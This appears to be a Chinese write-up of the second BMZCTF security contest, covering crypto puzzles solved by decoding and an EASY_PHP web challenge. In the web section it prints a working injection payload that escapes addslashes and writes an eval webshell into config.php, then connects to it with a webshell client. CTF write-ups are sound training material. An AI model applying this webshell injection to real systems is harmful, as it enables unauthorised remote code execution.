第二届BMZCTF网络安全公开赛

第二届BMZCTF网络安全公开赛

今天事情比较多,所以基本没做,上线了一会就,没做几道题


Crypto

  • DO_YOU_KNOW_IT

题目附件
链接:https://pan.baidu.com/s/10DmirLYb1Z49wEtShHrh7Q
提取码:9y29
打开附件发现是LaTeX数学符号,一 一对照后为:
在这里插入图片描述

flag{prod ltimes aleph y _{-}wp infty therefore heartsuit _{-}Longleftarrow alephTheta eth Xi }

取每个的首字母,结果为
flag{Play_with_LaTeX}

  • 签到题

题目附件
链接:https://pan.baidu.com/s/1iRI3PlLxgtKdd2DRuzf2ZA
提取码:rwv6
打开附件发现一串密文:
56465a7757464977546d464e656b354b5632786b5346457862336c4f4d4842485632785a4d6c5a47556c46554d557057556a464e656c5a466146465756444135554651774f5642525054303d
base一把梭就可以了

step1======> base16
VFZwWFIwTmFNek5KV2xkSFExb3lOMHBHV2xZMlZGUlFUMUpWUjFNelZFaFFWVDA5UFQwOVBRPT0=
step2======> base64
TVpXR0NaMzNJWldHQ1oyN0pGWlY2VFRQT1JVR1MzVEhQVT09PT09PQ==
step3======> base64
MZWGCZ33IZWGCZ27JFZV6TTPORUGS3THPU======
step4======> base32
flag{Flag_Is_Nothing}

结果:flag{Flag_Is_Nothing}

  • SIMPLE

题目附件
链接:https://pan.baidu.com/s/1IyXd4OsxvWU9xCT7Ym6wvQ
提取码:hkmn
爆破出附件simple.zip的密码为:2022go
在这里插入图片描述
解压压缩包,发现两个文件,一个是key.txt,一个是okay.jpg,010打开okay.jpg,在末尾处发现一串RC4加密的字符:
U2FsdGVkX19+KmR+JLpq0l/IJ+rVlIHN2T+yqAikL04yjA==

在这里插入图片描述
key.txt中发现base64编码,解码得到RC4解密需要用到的key:babyhappy
在这里插入图片描述

RC4解码
在这里插入图片描述
flag{You_Guess_It}

Web

  • EASY_PHP

题目:

  <?php
highlight_file(__FILE__);
error_reporting(0);

function new_addslashes($string) {
     if(!is_array($string)) return addslashes($string);
     foreach($string as $key => $val) $string[$key] = new_addslashes($val);
     return $string;
 }
if(!get_magic_quotes_gpc()) {
    $_POST = new_addslashes($_POST);
    $_GET = new_addslashes($_GET);
    $_REQUEST = new_addslashes($_REQUEST);
    $_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {
    $file = __DIR__ .'/config.php';
    require $file;
    $key = $_POST['info']['name'];
    if(!isset($LANG[$key])) {
        $content = file_get_contents($file);
        $content = substr($content,0,-3);
        $data = $content."n$LANG['$key'] = '$_POST[no1]';n?>";
        file_put_contents($file,$data);
    } elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
        $content = file_get_contents($file);
        $content = str_replace($LANG[$key],$_POST['no1'],$content);
        file_put_contents($file,$content);
    }
}
if(isset($_GET['re'])){
    file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}

解题过程
POST传参会被addslashes,第一次是写进去,第二次是str_replace。想办法逃逸出单引号:

$content."n$LANG['$key'] = '$_POST[no1]';n?>";

第一次传的话单引号会变成'然后写进去,第二次传会把'xxxxxx给替换成'xxxx

string(30) "';eval($_POST[0]);phpinfo();//" string(31) "';eval($_POST[0]);phpinfo();//"

这样就两个\,单引号逃出转义了。

打2次然后config.php命令执行即可。

sudo=&info[name]=qi&no1=';eval($_POST[0]);phpinfo();//

在这里插入图片描述
蚁剑连接
在这里插入图片描述
找到flag文件
在这里插入图片描述
到此结束

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>